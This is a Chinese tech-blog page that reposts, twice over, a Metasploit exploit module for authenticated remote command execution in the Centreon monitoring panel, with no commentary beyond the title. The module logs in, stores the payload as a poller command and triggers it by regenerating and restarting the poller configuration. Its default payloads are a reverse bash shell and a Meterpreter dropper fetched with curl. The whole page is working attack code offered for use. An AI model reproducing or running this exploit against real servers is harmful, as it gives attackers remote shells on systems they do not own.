编程开源技术交流,分享技术与知识

网站首页 > 开源技术 正文

Centreon Poller验证的远程命令执行漏洞利用

wxchong 2024-08-24 01:47:21 开源技术 10 ℃ 0 评论
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
 
class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
 
  include Msf::Exploit::CmdStager
  include Msf::Exploit::Remote::HttpClient
 
  def initialize(info = {})
    super(update_info(info,
      'Name' => 'Centreon Poller Authenticated Remote Command Execution',
      'Description' => %q{
        An authenticated user with sufficient administrative rights to manage pollers can use this functionality to
        execute arbitrary commands remotely. Usually, the miscellaneous commands are used by the additional modules
        (to perform certain actions), by the scheduler for data processing, etc.
 
        This module uses this functionality to obtain a remote shell on the target.
      },
      'Author' => [
        'Omri Baso', # discovery
        'Fabien Aunay', # discovery
        'mekhalleh (RAMELLA Sébastien)' # this module
      ],
      'References' => [
        ['EDB', '47977']
      ],
      'DisclosureDate' => '2020-01-27',
      'License' => MSF_LICENSE,
      'Platform' => ['linux', 'unix'],
      'Arch' => [ARCH_CMD, ARCH_X64],
      'Privileged' => true,
      'Targets' => [
        ['Reverse shell (In-Memory)',
          'Platform' => 'unix',
          'Type' => :cmd_unix,
          'Arch' => ARCH_CMD,
          'DefaultOptions' => {
            'PAYLOAD' => 'cmd/unix/reverse_bash'
          }
        ],
        ['Meterpreter (Dropper)',
          'Platform' => 'linux',
          'Type' => :meterpreter,
          'Arch' => ARCH_X64,
          'DefaultOptions' => {
            'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp',
            'CMDSTAGER::FLAVOR' => :curl
          }
        ]
      ],
      'DefaultTarget' => 0,
      'Notes' => {
        'Stability' => [CRASH_SAFE],
        'Reliability' => [REPEATABLE_SESSION],
        'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
      }
    ))
 
    register_options([
      OptString.new('PASSWORD', [true, 'The Centreon Web panel password to authenticate with']),
      OptString.new('TARGETURI', [true, 'The URI of the Centreon Web panel path', '/centreon']),
      OptString.new('USERNAME', [true, 'The Centreon Web panel username to authenticate with'])
    ])
  end
 
  def create_new_poller(poller_name, command_id)
    params = {'p' => '60901'}
 
    print_status("Create new poller entry on the target.")
    token = get_token(normalize_uri(target_uri.path, 'main.get.php'), params)
    return false unless token
 
    response = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'main.get.php'),
      'cookie' => @cookies,
      'partial' => true,
      'vars_get' => params,
      'vars_post' => {
        'name' => poller_name,
        'ns_ip_address' => '127.0.0.1',
        'localhost[localhost]' => '1',
        'is_default[is_default]' => '0',
        'remote_id' => '',
        'ssh_port' => '22',
        'remote_server_centcore_ssh_proxy[remote_server_centcore_ssh_proxy]' => '1',
        'engine_start_command' => 'service centengine start',
        'engine_stop_command' => 'service centengine stop',
        'engine_restart_command' => 'service centengine restart',
        'engine_reload_command' => 'service centengine reload',
        'nagios_bin' => '/usr/sbin/centengine',
        'nagiostats_bin' => '/usr/sbin/centenginestats',
        'nagios_perfdata' => '/var/log/centreon-engine/service-perfdata',
        'broker_reload_command' => 'service cbd reload',
        'centreonbroker_cfg_path' => '/etc/centreon-broker',
        'centreonbroker_module_path' => '/usr/share/centreon/lib/centreon-broker',
        'centreonbroker_logs_path' => '/var/log/centreon-broker',
        'centreonconnector_path' => '',
        'init_script_centreontrapd' => 'centreontrapd',
        'snmp_trapd_path_conf' => '/etc/snmp/centreon_traps/',
        'pollercmd[0]' => command_id,
        'clone_order_pollercmd_0' => '',
        'ns_activate[ns_activate]' => '1',
        'submitA' => 'Save',
        'id' => '',
        'o' => 'a',
        'centreon_token' => token
      }
    )
    return false unless response
 
    return true
  end
 
  def execute_command(command, opts = {})
    cmd_name = rand_text_alpha(8..42)
    params = {'p' => '60803', 'type' => '3'}
    poller_name = rand_text_alpha(8..42)
 
    ## Register a miscellaneous command.
    print_status("Upload command payload on the target.")
 
    token = get_token(normalize_uri(target_uri.path, 'main.get.php'), params)
    unless token
      print_bad('Could not get the upload form token, potentially due to insufficient access rights.')
      return false
    end
 
    response = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'main.get.php'),
      'cookie' => @cookies,
      'partial' => true,
      'vars_get' => params,
      'vars_post' => {
        'command_name' => cmd_name,
        'command_type[command_type]' => '3',
        'command_line' => command,
        'resource' => '$CENTREONPLUGINS#39;,
        'plugins' => '/Centreon/SNMP',
        'macros' => '$ADMINEMAIL#39;,
        'command_example' => '',
        'listOfArg' => '',
        'listOfMacros' => '',
        'connectors' => '',
        'graph_id' => '',
        'command_activate[command_activate]' => '1',
        'command_comment' => '',
        'submitA' => 'Save',
        'command_id' => '',
        'type' => '3',
        'o' => 'a',
        'centreon_token' => token
      }
    )
    return false unless response
 
    ## Create new poller to serve the payload.
    create_new_poller(poller_name, get_command_id(cmd_name))
 
    ## Export configuration to reload to trigger the exploit.
    poller_id = get_poller_id(poller_name)
    if poller_id.nil?
      print_bad('Could not trigger the vulnerability!')
    end
    restart_exportation(poller_id)
  end
 
  def get_auth
    print_status("Sending authentication request.")
    token = get_token(normalize_uri(target_uri.path, 'index.php'))
    unless token.nil?
      response = send_request_cgi(
        'method' => 'POST',
        'uri' => normalize_uri(target_uri.path, 'index.php'),
        'cookie' => @cookies,
        'vars_post'  => {
          'useralias' => datastore['USERNAME'],
          'password' => datastore['PASSWORD'],
          'submitLogin' => 'Connect',
          'centreon_token' => token
        }
      )
      return false unless response
 
      if response.redirect?
        if response.headers['location'].include?('main.php')
          print_good('Successfully authenticated.')
          @cookies = response.get_cookies
          return true
        end
      end
    end
 
    print_bad('Your credentials are incorrect.')
    return false
  end
 
  def get_command_id(cmd_name)
    response = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'main.get.php'),
      'cookie' => @cookies,
      'vars_get' => {
          'p' => '60803',
          'type' => '3'
      }
    )
    return nil unless response
 
    href = response.get_html_document.at("//a[contains(text(), \"#{cmd_name}\")]")['href']
    return nil unless href
 
    id = href.split('?')[1].split('&')[2].split('=')[1]
    return id unless id.empty?
 
    return nil
  end
 
  def get_poller_id(poller_name)
    response = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'main.get.php'),
      'cookie' => @cookies,
      'vars_get' => {'p' => '60901'}
    )
    return nil unless response
 
    href = response.get_html_document.at("//a[contains(text(), \"#{poller_name}\")]")['href']
    return nil unless href
 
    id = href.split('?')[1].split('&')[2].split('=')[1]
    return id unless id.empty?
 
    return nil
  end
 
  def get_session
    response = send_request_cgi(
      'method' => 'HEAD',
      'uri' => normalize_uri(target_uri.path, 'index.php')
    )
    cookies = response.get_cookies
    return cookies unless cookies.empty?
  end
 
  def get_token(uri, params = {})
    ## Get centreon_token value.
    request = {
      'method' => 'GET',
      'uri' => uri,
      'cookie' => @cookies
    }
    request = request.merge({'vars_get' => params}) unless params.empty?
    response = send_request_cgi(request)
 
    return nil unless response
 
    begin
      token = response.get_html_document.at('input[@name="centreon_token"]')['value']
    rescue NoMethodError
      return nil
    end
 
    return token
  end
 
  def restart_exportation(poller_id)
    print_status("Reload the poller to trigger exploitation.")
    token = get_token(normalize_uri(target_uri.path, 'main.get.php'), {'p' => '60902', 'poller' => poller_id})
 
    unless token
      print_bad('Could not get the poller form token, potentially due to insufficient access rights.')
      return false
    end
 
    vprint_status(' -- Generating files.')
    response = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'include', 'configuration', 'configGenerate', 'xml', 'generateFiles.php'),
      'cookie' => @cookies,
      'vars_post' => {
        'poller' => poller_id,
        'debug' => 'true',
        'generate' => 'true'
      }
    )
    return false unless response
 
    vprint_status(' -- Restarting engine.')
    response = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'include', 'configuration', 'configGenerate', 'xml', 'restartPollers.php'),
      'cookie' => @cookies,
      'vars_post' => {
        'poller' => poller_id,
        'mode' => '2'
      }
    )
    return false unless response
 
    vprint_status(' -- Executing command.')
    response = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'include', 'configuration', 'configGenerate', 'xml', 'postcommand.php'),
      'cookie' => @cookies,
      'vars_post' => {'poller' => poller_id}
    )
    return false unless response
 
    return true
  end
 
  def exploit
    @cookies = get_session
    logged = get_auth unless @cookies.empty?
    if logged
      case target['Type']
      when :cmd_unix
        execute_command(payload.encoded)
      when :meterpreter
        execute_command(generate_cmdstager.join(';'))
      end
    end
  end
 
end
 
#  0day.today [2020-03-23]  #
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
 
class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
 
  include Msf::Exploit::CmdStager
  include Msf::Exploit::Remote::HttpClient
 
  def initialize(info = {})
    super(update_info(info,
      'Name' => 'Centreon Poller Authenticated Remote Command Execution',
      'Description' => %q{
        An authenticated user with sufficient administrative rights to manage pollers can use this functionality to
        execute arbitrary commands remotely. Usually, the miscellaneous commands are used by the additional modules
        (to perform certain actions), by the scheduler for data processing, etc.
 
        This module uses this functionality to obtain a remote shell on the target.
      },
      'Author' => [
        'Omri Baso', # discovery
        'Fabien Aunay', # discovery
        'mekhalleh (RAMELLA Sébastien)' # this module
      ],
      'References' => [
        ['EDB', '47977']
      ],
      'DisclosureDate' => '2020-01-27',
      'License' => MSF_LICENSE,
      'Platform' => ['linux', 'unix'],
      'Arch' => [ARCH_CMD, ARCH_X64],
      'Privileged' => true,
      'Targets' => [
        ['Reverse shell (In-Memory)',
          'Platform' => 'unix',
          'Type' => :cmd_unix,
          'Arch' => ARCH_CMD,
          'DefaultOptions' => {
            'PAYLOAD' => 'cmd/unix/reverse_bash'
          }
        ],
        ['Meterpreter (Dropper)',
          'Platform' => 'linux',
          'Type' => :meterpreter,
          'Arch' => ARCH_X64,
          'DefaultOptions' => {
            'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp',
            'CMDSTAGER::FLAVOR' => :curl
          }
        ]
      ],
      'DefaultTarget' => 0,
      'Notes' => {
        'Stability' => [CRASH_SAFE],
        'Reliability' => [REPEATABLE_SESSION],
        'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
      }
    ))
 
    register_options([
      OptString.new('PASSWORD', [true, 'The Centreon Web panel password to authenticate with']),
      OptString.new('TARGETURI', [true, 'The URI of the Centreon Web panel path', '/centreon']),
      OptString.new('USERNAME', [true, 'The Centreon Web panel username to authenticate with'])
    ])
  end
 
  def create_new_poller(poller_name, command_id)
    params = {'p' => '60901'}
 
    print_status("Create new poller entry on the target.")
    token = get_token(normalize_uri(target_uri.path, 'main.get.php'), params)
    return false unless token
 
    response = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'main.get.php'),
      'cookie' => @cookies,
      'partial' => true,
      'vars_get' => params,
      'vars_post' => {
        'name' => poller_name,
        'ns_ip_address' => '127.0.0.1',
        'localhost[localhost]' => '1',
        'is_default[is_default]' => '0',
        'remote_id' => '',
        'ssh_port' => '22',
        'remote_server_centcore_ssh_proxy[remote_server_centcore_ssh_proxy]' => '1',
        'engine_start_command' => 'service centengine start',
        'engine_stop_command' => 'service centengine stop',
        'engine_restart_command' => 'service centengine restart',
        'engine_reload_command' => 'service centengine reload',
        'nagios_bin' => '/usr/sbin/centengine',
        'nagiostats_bin' => '/usr/sbin/centenginestats',
        'nagios_perfdata' => '/var/log/centreon-engine/service-perfdata',
        'broker_reload_command' => 'service cbd reload',
        'centreonbroker_cfg_path' => '/etc/centreon-broker',
        'centreonbroker_module_path' => '/usr/share/centreon/lib/centreon-broker',
        'centreonbroker_logs_path' => '/var/log/centreon-broker',
        'centreonconnector_path' => '',
        'init_script_centreontrapd' => 'centreontrapd',
        'snmp_trapd_path_conf' => '/etc/snmp/centreon_traps/',
        'pollercmd[0]' => command_id,
        'clone_order_pollercmd_0' => '',
        'ns_activate[ns_activate]' => '1',
        'submitA' => 'Save',
        'id' => '',
        'o' => 'a',
        'centreon_token' => token
      }
    )
    return false unless response
 
    return true
  end
 
  def execute_command(command, opts = {})
    cmd_name = rand_text_alpha(8..42)
    params = {'p' => '60803', 'type' => '3'}
    poller_name = rand_text_alpha(8..42)
 
    ## Register a miscellaneous command.
    print_status("Upload command payload on the target.")
 
    token = get_token(normalize_uri(target_uri.path, 'main.get.php'), params)
    unless token
      print_bad('Could not get the upload form token, potentially due to insufficient access rights.')
      return false
    end
 
    response = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'main.get.php'),
      'cookie' => @cookies,
      'partial' => true,
      'vars_get' => params,
      'vars_post' => {
        'command_name' => cmd_name,
        'command_type[command_type]' => '3',
        'command_line' => command,
        'resource' => '$CENTREONPLUGINS#39;,
        'plugins' => '/Centreon/SNMP',
        'macros' => '$ADMINEMAIL#39;,
        'command_example' => '',
        'listOfArg' => '',
        'listOfMacros' => '',
        'connectors' => '',
        'graph_id' => '',
        'command_activate[command_activate]' => '1',
        'command_comment' => '',
        'submitA' => 'Save',
        'command_id' => '',
        'type' => '3',
        'o' => 'a',
        'centreon_token' => token
      }
    )
    return false unless response
 
    ## Create new poller to serve the payload.
    create_new_poller(poller_name, get_command_id(cmd_name))
 
    ## Export configuration to reload to trigger the exploit.
    poller_id = get_poller_id(poller_name)
    if poller_id.nil?
      print_bad('Could not trigger the vulnerability!')
    end
    restart_exportation(poller_id)
  end
 
  def get_auth
    print_status("Sending authentication request.")
    token = get_token(normalize_uri(target_uri.path, 'index.php'))
    unless token.nil?
      response = send_request_cgi(
        'method' => 'POST',
        'uri' => normalize_uri(target_uri.path, 'index.php'),
        'cookie' => @cookies,
        'vars_post'  => {
          'useralias' => datastore['USERNAME'],
          'password' => datastore['PASSWORD'],
          'submitLogin' => 'Connect',
          'centreon_token' => token
        }
      )
      return false unless response
 
      if response.redirect?
        if response.headers['location'].include?('main.php')
          print_good('Successfully authenticated.')
          @cookies = response.get_cookies
          return true
        end
      end
    end
 
    print_bad('Your credentials are incorrect.')
    return false
  end
 
  def get_command_id(cmd_name)
    response = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'main.get.php'),
      'cookie' => @cookies,
      'vars_get' => {
          'p' => '60803',
          'type' => '3'
      }
    )
    return nil unless response
 
    href = response.get_html_document.at("//a[contains(text(), \"#{cmd_name}\")]")['href']
    return nil unless href
 
    id = href.split('?')[1].split('&')[2].split('=')[1]
    return id unless id.empty?
 
    return nil
  end
 
  def get_poller_id(poller_name)
    response = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'main.get.php'),
      'cookie' => @cookies,
      'vars_get' => {'p' => '60901'}
    )
    return nil unless response
 
    href = response.get_html_document.at("//a[contains(text(), \"#{poller_name}\")]")['href']
    return nil unless href
 
    id = href.split('?')[1].split('&')[2].split('=')[1]
    return id unless id.empty?
 
    return nil
  end
 
  def get_session
    response = send_request_cgi(
      'method' => 'HEAD',
      'uri' => normalize_uri(target_uri.path, 'index.php')
    )
    cookies = response.get_cookies
    return cookies unless cookies.empty?
  end
 
  def get_token(uri, params = {})
    ## Get centreon_token value.
    request = {
      'method' => 'GET',
      'uri' => uri,
      'cookie' => @cookies
    }
    request = request.merge({'vars_get' => params}) unless params.empty?
    response = send_request_cgi(request)
 
    return nil unless response
 
    begin
      token = response.get_html_document.at('input[@name="centreon_token"]')['value']
    rescue NoMethodError
      return nil
    end
 
    return token
  end
 
  def restart_exportation(poller_id)
    print_status("Reload the poller to trigger exploitation.")
    token = get_token(normalize_uri(target_uri.path, 'main.get.php'), {'p' => '60902', 'poller' => poller_id})
 
    unless token
      print_bad('Could not get the poller form token, potentially due to insufficient access rights.')
      return false
    end
 
    vprint_status(' -- Generating files.')
    response = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'include', 'configuration', 'configGenerate', 'xml', 'generateFiles.php'),
      'cookie' => @cookies,
      'vars_post' => {
        'poller' => poller_id,
        'debug' => 'true',
        'generate' => 'true'
      }
    )
    return false unless response
 
    vprint_status(' -- Restarting engine.')
    response = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'include', 'configuration', 'configGenerate', 'xml', 'restartPollers.php'),
      'cookie' => @cookies,
      'vars_post' => {
        'poller' => poller_id,
        'mode' => '2'
      }
    )
    return false unless response
 
    vprint_status(' -- Executing command.')
    response = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'include', 'configuration', 'configGenerate', 'xml', 'postcommand.php'),
      'cookie' => @cookies,
      'vars_post' => {'poller' => poller_id}
    )
    return false unless response
 
    return true
  end
 
  def exploit
    @cookies = get_session
    logged = get_auth unless @cookies.empty?
    if logged
      case target['Type']
      when :cmd_unix
        execute_command(payload.encoded)
      when :meterpreter
        execute_command(generate_cmdstager.join(';'))
      end
    end
  end
 
end
 
#  0day.today [2020-03-23]  #

Tags:

本文暂时没有评论,来添加一个吧(●'◡'●)

欢迎 发表评论:

最近发表
标签列表